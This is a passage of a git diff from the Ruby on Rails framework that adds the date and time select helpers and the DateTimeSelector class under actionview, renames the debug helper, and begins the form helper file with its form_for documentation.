+      #   # Generates a date select that defaults to today (no specified date).
+      #   select_date()
+      #
+      #   # Generates a date select that defaults to the date in my_date (six days after today)
+      #   # with the fields ordered year, month, day rather than month, day, year.
+      #   select_date(my_date, order: [:year, :month, :day])
+      #
+      #   # Generates a date select that discards the type of the field and defaults to the date in
+      #   # my_date (six days after today).
+      #   select_date(my_date, discard_type: true)
+      #
+      #   # Generates a date select that defaults to the date in my_date,
+      #   # which has fields separated by '/'.
+      #   select_date(my_date, date_separator: '/')
+      #
+      #   # Generates a date select that defaults to the datetime in my_date (six days after today)
+      #   # prefixed with 'payday' rather than 'date'.
+      #   select_date(my_date, prefix: 'payday')
+      #
+      #   # Generates a date select with a custom prompt. Use <tt>prompt: true</tt> for generic prompts.
+      #   select_date(my_date, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+      #   select_date(my_date, prompt: {hour: true}) # generic prompt for hours
+      #   select_date(my_date, prompt: true) # generic prompts for all
+      def select_date(date = Date.current, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_date
+      end
+
+      # Returns a set of html select-tags (one for hour and minute).
+      # You can set <tt>:time_separator</tt> key to format the output, and
+      # the <tt>:include_seconds</tt> option to include an input for seconds.
+      #
+      # If anything is passed in the html_options hash it will be applied to every select tag in the set.
+      #
+      #   my_time = Time.now + 5.days + 7.hours + 3.minutes + 14.seconds
+      #
+      #   # Generates a time select that defaults to the time in my_time.
+      #   select_time(my_time)
+      #
+      #   # Generates a time select that defaults to the current time (no specified time).
+      #   select_time()
+      #
+      #   # Generates a time select that defaults to the time in my_time,
+      #   # which has fields separated by ':'.
+      #   select_time(my_time, time_separator: ':')
+      #
+      #   # Generates a time select that defaults to the time in my_time,
+      #   # that also includes an input for seconds.
+      #   select_time(my_time, include_seconds: true)
+      #
+      #   # Generates a time select that defaults to the time in my_time, that has fields
+      #   # separated by ':' and includes an input for seconds.
+      #   select_time(my_time, time_separator: ':', include_seconds: true)
+      #
+      #   # Generate a time select field with hours in the AM/PM format
+      #   select_time(my_time, ampm: true)
+      #
+      #   # Generates a time select field with hours that range from 2 to 14
+      #   select_time(my_time, start_hour: 2, end_hour: 14)
+      #
+      #   # Generates a time select with a custom prompt. Use <tt>:prompt</tt> to true for generic prompts.
+      #   select_time(my_time, prompt: {day: 'Choose day', month: 'Choose month', year: 'Choose year'})
+      #   select_time(my_time, prompt: {hour: true}) # generic prompt for hours
+      #   select_time(my_time, prompt: true) # generic prompts for all
+      def select_time(datetime = Time.current, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_time
+      end
+
+      # Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
+      # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
+      # Override the field name using the <tt>:field_name</tt> option, 'second' by default.
+      #
+      #   my_time = Time.now + 16.minutes
+      #
+      #   # Generates a select field for seconds that defaults to the seconds for the time in my_time.
+      #   select_second(my_time)
+      #
+      #   # Generates a select field for seconds that defaults to the number given.
+      #   select_second(33)
+      #
+      #   # Generates a select field for seconds that defaults to the seconds for the time in my_time
+      #   # that is named 'interval' rather than 'second'.
+      #   select_second(my_time, field_name: 'interval')
+      #
+      #   # Generates a select field for seconds with a custom prompt. Use <tt>prompt: true</tt> for a
+      #   # generic prompt.
+      #   select_second(14, prompt: 'Choose seconds')
+      def select_second(datetime, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_second
+      end
+
+      # Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
+      # Also can return a select tag with options by <tt>minute_step</tt> from 0 through 59 with the 00 minute
+      # selected. The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
+      # Override the field name using the <tt>:field_name</tt> option, 'minute' by default.
+      #
+      #   my_time = Time.now + 6.hours
+      #
+      #   # Generates a select field for minutes that defaults to the minutes for the time in my_time.
+      #   select_minute(my_time)
+      #
+      #   # Generates a select field for minutes that defaults to the number given.
+      #   select_minute(14)
+      #
+      #   # Generates a select field for minutes that defaults to the minutes for the time in my_time
+      #   # that is named 'moment' rather than 'minute'.
+      #   select_minute(my_time, field_name: 'moment')
+      #
+      #   # Generates a select field for minutes with a custom prompt. Use <tt>prompt: true</tt> for a
+      #   # generic prompt.
+      #   select_minute(14, prompt: 'Choose minutes')
+      def select_minute(datetime, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_minute
+      end
+
+      # Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
+      # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
+      # Override the field name using the <tt>:field_name</tt> option, 'hour' by default.
+      #
+      #   my_time = Time.now + 6.hours
+      #
+      #   # Generates a select field for hours that defaults to the hour for the time in my_time.
+      #   select_hour(my_time)
+      #
+      #   # Generates a select field for hours that defaults to the number given.
+      #   select_hour(13)
+      #
+      #   # Generates a select field for hours that defaults to the hour for the time in my_time
+      #   # that is named 'stride' rather than 'hour'.
+      #   select_hour(my_time, field_name: 'stride')
+      #
+      #   # Generates a select field for hours with a custom prompt. Use <tt>prompt: true</tt> for a
+      #   # generic prompt.
+      #   select_hour(13, prompt: 'Choose hour')
+      #
+      #   # Generate a select field for hours in the AM/PM format
+      #   select_hour(my_time, ampm: true)
+      #
+      #   # Generates a select field that includes options for hours from 2 to 14.
+      #   select_hour(my_time, start_hour: 2, end_hour: 14)
+      def select_hour(datetime, options = {}, html_options = {})
+        DateTimeSelector.new(datetime, options, html_options).select_hour
+      end
+
+      # Returns a select tag with options for each of the days 1 through 31 with the current day selected.
+      # The <tt>date</tt> can also be substituted for a day number.
+      # If you want to display days with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
+      # Override the field name using the <tt>:field_name</tt> option, 'day' by default.
+      #
+      #   my_date = Time.now + 2.days
+      #
+      #   # Generates a select field for days that defaults to the day for the date in my_date.
+      #   select_day(my_date)
+      #
+      #   # Generates a select field for days that defaults to the number given.
+      #   select_day(5)
+      #
+      #   # Generates a select field for days that defaults to the number given, but displays it with two digits.
+      #   select_day(5, use_two_digit_numbers: true)
+      #
+      #   # Generates a select field for days that defaults to the day for the date in my_date
+      #   # that is named 'due' rather than 'day'.
+      #   select_day(my_date, field_name: 'due')
+      #
+      #   # Generates a select field for days with a custom prompt. Use <tt>prompt: true</tt> for a
+      #   # generic prompt.
+      #   select_day(5, prompt: 'Choose day')
+      def select_day(date, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_day
+      end
+
+      # Returns a select tag with options for each of the months January through December with the current month
+      # selected. The month names are presented as keys (what's shown to the user) and the month numbers (1-12) are
+      # used as values (what's submitted to the server). It's also possible to use month numbers for the presentation
+      # instead of names -- set the <tt>:use_month_numbers</tt> key in +options+ to true for this to happen. If you
+      # want both numbers and names, set the <tt>:add_month_numbers</tt> key in +options+ to true. If you would prefer
+      # to show month names as abbreviations, set the <tt>:use_short_month</tt> key in +options+ to true. If you want
+      # to use your own month names, set the <tt>:use_month_names</tt> key in +options+ to an array of 12 month names.
+      # If you want to display months with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
+      # Override the field name using the <tt>:field_name</tt> option, 'month' by default.
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys like "January", "March".
+      #   select_month(Date.today)
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # is named "start" rather than "month".
+      #   select_month(Date.today, field_name: 'start')
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys like "1", "3".
+      #   select_month(Date.today, use_month_numbers: true)
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys like "1 - January", "3 - March".
+      #   select_month(Date.today, add_month_numbers: true)
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys like "Jan", "Mar".
+      #   select_month(Date.today, use_short_month: true)
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys like "Januar", "Marts."
+      #   select_month(Date.today, use_month_names: %w(Januar Februar Marts ...))
+      #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys with two digit numbers like "01", "03".
+      #   select_month(Date.today, use_two_digit_numbers: true)
+      #
+      #   # Generates a select field for months with a custom prompt. Use <tt>prompt: true</tt> for a
+      #   # generic prompt.
+      #   select_month(14, prompt: 'Choose month')
+      def select_month(date, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_month
+      end
+
+      # Returns a select tag with options for each of the five years on each side of the current, which is selected.
+      # The five year radius can be changed using the <tt>:start_year</tt> and <tt>:end_year</tt> keys in the
+      # +options+. Both ascending and descending year lists are supported by making <tt>:start_year</tt> less than or
+      # greater than <tt>:end_year</tt>. The <tt>date</tt> can also be substituted for a year given as a number.
+      # Override the field name using the <tt>:field_name</tt> option, 'year' by default.
+      #
+      #   # Generates a select field for years that defaults to the current year that
+      #   # has ascending year values.
+      #   select_year(Date.today, start_year: 1992, end_year: 2007)
+      #
+      #   # Generates a select field for years that defaults to the current year that
+      #   # is named 'birth' rather than 'year'.
+      #   select_year(Date.today, field_name: 'birth')
+      #
+      #   # Generates a select field for years that defaults to the current year that
+      #   # has descending year values.
+      #   select_year(Date.today, start_year: 2005, end_year: 1900)
+      #
+      #   # Generates a select field for years that defaults to the year 2006 that
+      #   # has ascending year values.
+      #   select_year(2006, start_year: 2000, end_year: 2010)
+      #
+      #   # Generates a select field for years with a custom prompt. Use <tt>prompt: true</tt> for a
+      #   # generic prompt.
+      #   select_year(14, prompt: 'Choose year')
+      def select_year(date, options = {}, html_options = {})
+        DateTimeSelector.new(date, options, html_options).select_year
+      end
+
+      # Returns an html time tag for the given date or time.
+      #
+      #   time_tag Date.today  # =>
+      #     <time datetime="2010-11-04">November 04, 2010</time>
+      #   time_tag Time.now  # =>
+      #     <time datetime="2010-11-04T17:55:45+01:00">November 04, 2010 17:55</time>
+      #   time_tag Date.yesterday, 'Yesterday'  # =>
+      #     <time datetime="2010-11-03">Yesterday</time>
+      #   time_tag Date.today, pubdate: true  # =>
+      #     <time datetime="2010-11-04" pubdate="pubdate">November 04, 2010</time>
+      #   time_tag Date.today, datetime: Date.today.strftime('%G-W%V') # =>
+      #     <time datetime="2010-W44">November 04, 2010</time>
+      #
+      #   <%= time_tag Time.now do %>
+      #     <span>Right now</span>
+      #   <% end %>
+      #   # => <time datetime="2010-11-04T17:55:45+01:00"><span>Right now</span></time>
+      def time_tag(date_or_time, *args, &block)
+        options  = args.extract_options!
+        format   = options.delete(:format) || :long
+        content  = args.first || I18n.l(date_or_time, :format => format)
+        datetime = date_or_time.acts_like?(:time) ? date_or_time.xmlschema : date_or_time.iso8601
+
+        content_tag(:time, content, options.reverse_merge(:datetime => datetime), &block)
+      end
+    end
+
+    class DateTimeSelector #:nodoc:
+      include ActionView::Helpers::TagHelper
+
+      DEFAULT_PREFIX = 'date'.freeze
+      POSITION = {
+        :year => 1, :month => 2, :day => 3, :hour => 4, :minute => 5, :second => 6
+      }.freeze
+
+      AMPM_TRANSLATION = Hash[
+        [[0, "12 AM"], [1, "01 AM"], [2, "02 AM"], [3, "03 AM"],
+         [4, "04 AM"], [5, "05 AM"], [6, "06 AM"], [7, "07 AM"],
+         [8, "08 AM"], [9, "09 AM"], [10, "10 AM"], [11, "11 AM"],
+         [12, "12 PM"], [13, "01 PM"], [14, "02 PM"], [15, "03 PM"],
+         [16, "04 PM"], [17, "05 PM"], [18, "06 PM"], [19, "07 PM"],
+         [20, "08 PM"], [21, "09 PM"], [22, "10 PM"], [23, "11 PM"]]
+      ].freeze
+
+      def initialize(datetime, options = {}, html_options = {})
+        @options      = options.dup
+        @html_options = html_options.dup
+        @datetime     = datetime
+        @options[:datetime_separator] ||= ' — '
+        @options[:time_separator]     ||= ' : '
+      end
+
+      def select_datetime
+        order = date_order.dup
+        order -= [:hour, :minute, :second]
+        @options[:discard_year]   ||= true unless order.include?(:year)
+        @options[:discard_month]  ||= true unless order.include?(:month)
+        @options[:discard_day]    ||= true if @options[:discard_month] || !order.include?(:day)
+        @options[:discard_minute] ||= true if @options[:discard_hour]
+        @options[:discard_second] ||= true unless @options[:include_seconds] && !@options[:discard_minute]
+
+        set_day_if_discarded
+
+        if @options[:tag] && @options[:ignore_date]
+          select_time
+        else
+          [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
+          order += [:hour, :minute, :second] unless @options[:discard_hour]
+
+          build_selects_from_types(order)
+        end
+      end
+
+      def select_date
+        order = date_order.dup
+
+        @options[:discard_hour]     = true
+        @options[:discard_minute]   = true
+        @options[:discard_second]   = true
+
+        @options[:discard_year]   ||= true unless order.include?(:year)
+        @options[:discard_month]  ||= true unless order.include?(:month)
+        @options[:discard_day]    ||= true if @options[:discard_month] || !order.include?(:day)
+
+        set_day_if_discarded
+
+        [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
+
+        build_selects_from_types(order)
+      end
+
+      def select_time
+        order = []
+
+        @options[:discard_month]    = true
+        @options[:discard_year]     = true
+        @options[:discard_day]      = true
+        @options[:discard_second] ||= true unless @options[:include_seconds]
+
+        order += [:year, :month, :day] unless @options[:ignore_date]
+
+        order += [:hour, :minute]
+        order << :second if @options[:include_seconds]
+
+        build_selects_from_types(order)
+      end
+
+      def select_second
+        if @options[:use_hidden] || @options[:discard_second]
+          build_hidden(:second, sec) if @options[:include_seconds]
+        else
+          build_options_and_select(:second, sec)
+        end
+      end
+
+      def select_minute
+        if @options[:use_hidden] || @options[:discard_minute]
+          build_hidden(:minute, min)
+        else
+          build_options_and_select(:minute, min, :step => @options[:minute_step])
+        end
+      end
+
+      def select_hour
+        if @options[:use_hidden] || @options[:discard_hour]
+          build_hidden(:hour, hour)
+        else
+          options         = {}
+          options[:ampm]  = @options[:ampm] || false
+          options[:start] = @options[:start_hour] || 0
+          options[:end]   = @options[:end_hour] || 23
+          build_options_and_select(:hour, hour, options)
+        end
+      end
+
+      def select_day
+        if @options[:use_hidden] || @options[:discard_day]
+          build_hidden(:day, day || 1)
+        else
+          build_options_and_select(:day, day, :start => 1, :end => 31, :leading_zeros => false, :use_two_digit_numbers => @options[:use_two_digit_numbers])
+        end
+      end
+
+      def select_month
+        if @options[:use_hidden] || @options[:discard_month]
+          build_hidden(:month, month || 1)
+        else
+          month_options = []
+          1.upto(12) do |month_number|
+            options = { :value => month_number }
+            options[:selected] = "selected" if month == month_number
+            month_options << content_tag(:option, month_name(month_number), options) + "\n"
+          end
+          build_select(:month, month_options.join)
+        end
+      end
+
+      def select_year
+        if !@datetime || @datetime == 0
+          val = '1'
+          middle_year = Date.today.year
+        else
+          val = middle_year = year
+        end
+
+        if @options[:use_hidden] || @options[:discard_year]
+          build_hidden(:year, val)
+        else
+          options                     = {}
+          options[:start]             = @options[:start_year] || middle_year - 5
+          options[:end]               = @options[:end_year] || middle_year + 5
+          options[:step]              = options[:start] < options[:end] ? 1 : -1
+          options[:leading_zeros]     = false
+          options[:max_years_allowed] = @options[:max_years_allowed] || 1000
+
+          if (options[:end] - options[:start]).abs > options[:max_years_allowed]
+            raise ArgumentError, "There are too many years options to be built. Are you sure you haven't mistyped something? You can provide the :max_years_allowed parameter."
+          end
+
+          build_options_and_select(:year, val, options)
+        end
+      end
+
+      private
+        %w( sec min hour day month year ).each do |method|
+          define_method(method) do
+            @datetime.kind_of?(Numeric) ? @datetime : @datetime.send(method) if @datetime
+          end
+        end
+
+        # If the day is hidden, the day should be set to the 1st so all month and year choices are
+        # valid. Otherwise, February 31st or February 29th, 2011 can be selected, which are invalid.
+        def set_day_if_discarded
+          if @datetime && @options[:discard_day]
+            @datetime = @datetime.change(:day => 1)
+          end
+        end
+
+        # Returns translated month names, but also ensures that a custom month
+        # name array has a leading nil element.
+        def month_names
+          @month_names ||= begin
+            month_names = @options[:use_month_names] || translated_month_names
+            month_names.unshift(nil) if month_names.size < 13
+            month_names
+          end
+        end
+
+        # Returns translated month names.
+        #  => [nil, "January", "February", "March",
+        #           "April", "May", "June", "July",
+        #           "August", "September", "October",
+        #           "November", "December"]
+        #
+        # If <tt>:use_short_month</tt> option is set
+        #  => [nil, "Jan", "Feb", "Mar", "Apr", "May", "Jun",
+        #           "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"]
+        def translated_month_names
+          key = @options[:use_short_month] ? :'date.abbr_month_names' : :'date.month_names'
+          I18n.translate(key, :locale => @options[:locale])
+        end
+
+        # Looks up month names by number (1-based):
+        #
+        #   month_name(1) # => "January"
+        #
+        # If the <tt>:use_month_numbers</tt> option is passed:
+        #
+        #   month_name(1) # => 1
+        #
+        # If the <tt>:use_two_month_numbers</tt> option is passed:
+        #
+        #   month_name(1) # => '01'
+        #
+        # If the <tt>:add_month_numbers</tt> option is passed:
+        #
+        #   month_name(1) # => "1 - January"
+        #
+        # If the <tt>:month_format_string</tt> option is passed:
+        #
+        #   month_name(1) # => "January (01)"
+        #
+        # depending on the format string.
+        def month_name(number)
+          if @options[:use_month_numbers]
+            number
+          elsif @options[:use_two_digit_numbers]
+            '%02d' % number
+          elsif @options[:add_month_numbers]
+            "#{number} - #{month_names[number]}"
+          elsif format_string = @options[:month_format_string]
+            format_string % {number: number, name: month_names[number]}
+          else
+            month_names[number]
+          end
+        end
+
+        def date_order
+          @date_order ||= @options[:order] || translated_date_order
+        end
+
+        def translated_date_order
+          date_order = I18n.translate(:'date.order', :locale => @options[:locale], :default => [])
+          date_order = date_order.map { |element| element.to_sym }
+
+          forbidden_elements = date_order - [:year, :month, :day]
+          if forbidden_elements.any?
+            raise StandardError,
+              "#{@options[:locale]}.date.order only accepts :year, :month and :day"
+          end
+
+          date_order
+        end
+
+        # Build full select tag from date type and options.
+        def build_options_and_select(type, selected, options = {})
+          build_select(type, build_options(selected, options))
+        end
+
+        # Build select option html from date value and options.
+        #  build_options(15, start: 1, end: 31)
+        #  => "<option value="1">1</option>
+        #      <option value="2">2</option>
+        #      <option value="3">3</option>..."
+        #
+        # If <tt>use_two_digit_numbers: true</tt> option is passed
+        #  build_options(15, start: 1, end: 31, use_two_digit_numbers: true)
+        #  => "<option value="1">01</option>
+        #      <option value="2">02</option>
+        #      <option value="3">03</option>..."
+        #
+        # If <tt>:step</tt> options is passed
+        #  build_options(15, start: 1, end: 31, step: 2)
+        #  => "<option value="1">1</option>
+        #      <option value="3">3</option>
+        #      <option value="5">5</option>..."
+        def build_options(selected, options = {})
+          options = {
+            leading_zeros: true, ampm: false, use_two_digit_numbers: false
+          }.merge!(options)
+
+          start         = options.delete(:start) || 0
+          stop          = options.delete(:end) || 59
+          step          = options.delete(:step) || 1
+          leading_zeros = options.delete(:leading_zeros)
+
+          select_options = []
+          start.step(stop, step) do |i|
+            value = leading_zeros ? sprintf("%02d", i) : i
+            tag_options = { :value => value }
+            tag_options[:selected] = "selected" if selected == i
+            text = options[:use_two_digit_numbers] ? sprintf("%02d", i) : value
+            text = options[:ampm] ? AMPM_TRANSLATION[i] : text
+            select_options << content_tag(:option, text, tag_options)
+          end
+
+          (select_options.join("\n") + "\n").html_safe
+        end
+
+        # Builds select tag from date type and html select options.
+        #  build_select(:month, "<option value="1">January</option>...")
+        #  => "<select id="post_written_on_2i" name="post[written_on(2i)]">
+        #        <option value="1">January</option>...
+        #      </select>"
+        def build_select(type, select_options_as_html)
+          select_options = {
+            :id => input_id_from_type(type),
+            :name => input_name_from_type(type)
+          }.merge!(@html_options)
+          select_options[:disabled] = 'disabled' if @options[:disabled]
+          select_options[:class] = [select_options[:class], type].compact.join(' ') if @options[:with_css_classes]
+
+          select_html = "\n"
+          select_html << content_tag(:option, '', :value => '') + "\n" if @options[:include_blank]
+          select_html << prompt_option_tag(type, @options[:prompt]) + "\n" if @options[:prompt]
+          select_html << select_options_as_html
+
+          (content_tag(:select, select_html.html_safe, select_options) + "\n").html_safe
+        end
+
+        # Builds a prompt option tag with supplied options or from default options.
+        #  prompt_option_tag(:month, prompt: 'Select month')
+        #  => "<option value="">Select month</option>"
+        def prompt_option_tag(type, options)
+          prompt = case options
+            when Hash
+              default_options = {:year => false, :month => false, :day => false, :hour => false, :minute => false, :second => false}
+              default_options.merge!(options)[type.to_sym]
+            when String
+              options
+            else
+              I18n.translate(:"datetime.prompts.#{type}", :locale => @options[:locale])
+          end
+
+          prompt ? content_tag(:option, prompt, :value => '') : ''
+        end
+
+        # Builds hidden input tag for date part and value.
+        #  build_hidden(:year, 2008)
+        #  => "<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="2008" />"
+        def build_hidden(type, value)
+          select_options = {
+            :type => "hidden",
+            :id => input_id_from_type(type),
+            :name => input_name_from_type(type),
+            :value => value
+          }.merge!(@html_options.slice(:disabled))
+          select_options[:disabled] = 'disabled' if @options[:disabled]
+
+          tag(:input, select_options) + "\n".html_safe
+        end
+
+        # Returns the name attribute for the input tag.
+        #  => post[written_on(1i)]
+        def input_name_from_type(type)
+          prefix = @options[:prefix] || ActionView::Helpers::DateTimeSelector::DEFAULT_PREFIX
+          prefix += "[#{@options[:index]}]" if @options.has_key?(:index)
+
+          field_name = @options[:field_name] || type
+          if @options[:include_position]
+            field_name += "(#{ActionView::Helpers::DateTimeSelector::POSITION[type]}i)"
+          end
+
+          @options[:discard_type] ? prefix : "#{prefix}[#{field_name}]"
+        end
+
+        # Returns the id attribute for the input tag.
+        #  => "post_written_on_1i"
+        def input_id_from_type(type)
+          id = input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, '_').gsub(/[\]\)]/, '')
+          id = @options[:namespace] + '_' + id if @options[:namespace]
+
+          id
+        end
+
+        # Given an ordering of datetime components, create the selection HTML
+        # and join them with their appropriate separators.
+        def build_selects_from_types(order)
+          select = ''
+          first_visible = order.find { |type| !@options[:"discard_#{type}"] }
+          order.reverse.each do |type|
+            separator = separator(type) unless type == first_visible # don't add before first visible field
+            select.insert(0, separator.to_s + send("select_#{type}").to_s)
+          end
+          select.html_safe
+        end
+
+        # Returns the separator for a given datetime component.
+        def separator(type)
+          return "" if @options[:use_hidden]
+
+          case type
+            when :year, :month, :day
+              @options[:"discard_#{type}"] ? "" : @options[:date_separator]
+            when :hour
+              (@options[:discard_year] && @options[:discard_day]) ? "" : @options[:datetime_separator]
+            when :minute, :second
+              @options[:"discard_#{type}"] ? "" : @options[:time_separator]
+          end
+        end
+    end
+
+    class FormBuilder
+      # Wraps ActionView::Helpers::DateHelper#date_select for form builders:
+      #
+      #   <%= form_for @person do |f| %>
+      #     <%= f.date_select :birth_date %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def date_select(method, options = {}, html_options = {})
+        @template.date_select(@object_name, method, objectify_options(options), html_options)
+      end
+
+      # Wraps ActionView::Helpers::DateHelper#time_select for form builders:
+      #
+      #   <%= form_for @race do |f| %>
+      #     <%= f.time_select :average_lap %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def time_select(method, options = {}, html_options = {})
+        @template.time_select(@object_name, method, objectify_options(options), html_options)
+      end
+
+      # Wraps ActionView::Helpers::DateHelper#datetime_select for form builders:
+      #
+      #   <%= form_for @person do |f| %>
+      #     <%= f.datetime_select :last_request_at %>
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # Please refer to the documentation of the base helper for details.
+      def datetime_select(method, options = {}, html_options = {})
+        @template.datetime_select(@object_name, method, objectify_options(options), html_options)
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_view/helpers/debug_helper.rb b/actionview/lib/action_view/helpers/debug_helper.rb
similarity index 100%
rename from actionpack/lib/action_view/helpers/debug_helper.rb
rename to actionview/lib/action_view/helpers/debug_helper.rb
diff --git a/actionview/lib/action_view/helpers/form_helper.rb b/actionview/lib/action_view/helpers/form_helper.rb
new file mode 100644
index 0000000..5235962
--- /dev/null
+++ b/actionview/lib/action_view/helpers/form_helper.rb
@@ -0,0 +1,1876 @@
+require 'cgi'
+require 'action_view/helpers/date_helper'
+require 'action_view/helpers/tag_helper'
+require 'action_view/helpers/form_tag_helper'
+require 'action_view/helpers/active_model_helper'
+require 'action_view/model_naming'
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/core_ext/hash/slice'
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/string/inflections'
+
+module ActionView
+  # = Action View Form Helpers
+  module Helpers
+    # Form helpers are designed to make working with resources much easier
+    # compared to using vanilla HTML.
+    #
+    # Typically, a form designed to create or update a resource reflects the
+    # identity of the resource in several ways: (i) the url that the form is
+    # sent to (the form element's +action+ attribute) should result in a request
+    # being routed to the appropriate controller action (with the appropriate <tt>:id</tt>
+    # parameter in the case of an existing resource), (ii) input fields should
+    # be named in such a way that in the controller their values appear in the
+    # appropriate places within the +params+ hash, and (iii) for an existing record,
+    # when the form is initially displayed, input fields corresponding to attributes
+    # of the resource should show the current values of those attributes.
+    #
+    # In Rails, this is usually achieved by creating the form using +form_for+ and
+    # a number of related helper methods. +form_for+ generates an appropriate <tt>form</tt>
+    # tag and yields a form builder object that knows the model the form is about.
+    # Input fields are created by calling methods defined on the form builder, which
+    # means they are able to generate the appropriate names and default values
+    # corresponding to the model attributes, as well as convenient IDs, etc.
+    # Conventions in the generated field names allow controllers to receive form data
+    # nicely structured in +params+ with no effort on your side.
+    #
+    # For example, to create a new person you typically set up a new instance of
+    # +Person+ in the <tt>PeopleController#new</tt> action, <tt>@person</tt>, and
+    # in the view template pass that object to +form_for+:
+    #
+    #   <%= form_for @person do |f| %>
+    #     <%= f.label :first_name %>:
+    #     <%= f.text_field :first_name %><br />
+    #
+    #     <%= f.label :last_name %>:
+    #     <%= f.text_field :last_name %><br />
+    #
+    #     <%= f.submit %>
+    #   <% end %>
+    #
+    # The HTML generated for this would be (modulus formatting):
+    #
+    #   <form action="/people" class="new_person" id="new_person" method="post">
+    #     <div style="display:none">
+    #       <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
+    #     </div>
+    #     <label for="person_first_name">First name</label>:
+    #     <input id="person_first_name" name="person[first_name]" type="text" /><br />
+    #
+    #     <label for="person_last_name">Last name</label>:
+    #     <input id="person_last_name" name="person[last_name]" type="text" /><br />
+    #
+    #     <input name="commit" type="submit" value="Create Person" />
+    #   </form>
+    #
+    # As you see, the HTML reflects knowledge about the resource in several spots,
+    # like the path the form should be submitted to, or the names of the input fields.
+    #
+    # In particular, thanks to the conventions followed in the generated field names, the
+    # controller gets a nested hash <tt>params[:person]</tt> with the person attributes
+    # set in the form. That hash is ready to be passed to <tt>Person.create</tt>:
+    #
+    #   if @person = Person.create(params[:person])
+    #     # success
+    #   else
+    #     # error handling
+    #   end
+    #
+    # Interestingly, the exact same view code in the previous example can be used to edit
+    # a person. If <tt>@person</tt> is an existing record with name "John Smith" and ID 256,
+    # the code above as is would yield instead:
+    #
+    #   <form action="/people/256" class="edit_person" id="edit_person_256" method="post">
+    #     <div style="display:none">
+    #       <input name="_method" type="hidden" value="patch" />
+    #       <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
+    #     </div>
+    #     <label for="person_first_name">First name</label>:
+    #     <input id="person_first_name" name="person[first_name]" type="text" value="John" /><br />
+    #
+    #     <label for="person_last_name">Last name</label>:
+    #     <input id="person_last_name" name="person[last_name]" type="text" value="Smith" /><br />
+    #
+    #     <input name="commit" type="submit" value="Update Person" />
+    #   </form>
+    #
+    # Note that the endpoint, default values, and submit button label are tailored for <tt>@person</tt>.
+    # That works that way because the involved helpers know whether the resource is a new record or not,
+    # and generate HTML accordingly.
+    #
+    # The controller would receive the form data again in <tt>params[:person]</tt>, ready to be
+    # passed to <tt>Person#update</tt>:
+    #
+    #   if @person.update(params[:person])
+    #     # success
+    #   else
+    #     # error handling
+    #   end
+    #
+    # That's how you typically work with resources.
+    module FormHelper
+      extend ActiveSupport::Concern
+
+      include FormTagHelper
+      include UrlHelper
+      include ModelNaming
+
+      # Creates a form that allows the user to create or update the attributes
+      # of a specific model object.
+      #
+      # The method can be used in several slightly different ways, depending on
+      # how much you wish to rely on Rails to infer automatically from the model
+      # how the form should be constructed. For a generic model object, a form
+      # can be created by passing +form_for+ a string or symbol representing
+      # the object we are concerned with:
+      #
+      #   <%= form_for :person do |f| %>
+      #     First name: <%= f.text_field :first_name %><br />
+      #     Last name : <%= f.text_field :last_name %><br />
+      #     Biography : <%= f.text_area :biography %><br />
+      #     Admin?    : <%= f.check_box :admin %><br />
+      #     <%= f.submit %>
+      #   <% end %>
+      #
+      # The variable +f+ yielded to the block is a FormBuilder object that
+      # incorporates the knowledge about the model object represented by
+      # <tt>:person</tt> passed to +form_for+. Methods defined on the FormBuilder
+      # are used to generate fields bound to this model. Thus, for example,
+      #
+      #   <%= f.text_field :first_name %>
+      #
+      # will get expanded to
+      #
+      #   <%= text_field :person, :first_name %>
+      # which results in an html <tt><input></tt> tag whose +name+ attribute is
+      # <tt>person[first_name]</tt>. This means that when the form is submitted,
+      # the value entered by the user will be available in the controller as
+      # <tt>params[:person][:first_name]</tt>.
+      #
+      # For fields generated in this way using the FormBuilder,
+      # if <tt>:person</tt> also happens to be the name of an instance variable
+      # <tt>@person</tt>, the default value of the field shown when the form is
+      # initially displayed (e.g. in the situation where you are editing an
+      # existing record) will be the value of the corresponding attribute of
+      # <tt>@person</tt>.
+      #
+      # The rightmost argument to +form_for+ is an
+      # optional hash of options -
+      #
+      # * <tt>:url</tt> - The URL the form is to be submitted to. This may be
+      #   represented in the same way as values passed to +url_for+ or +link_to+.
+      #   So for example you may use a named route directly. When the model is
+      #   represented by a string or symbol, as in the example above, if the
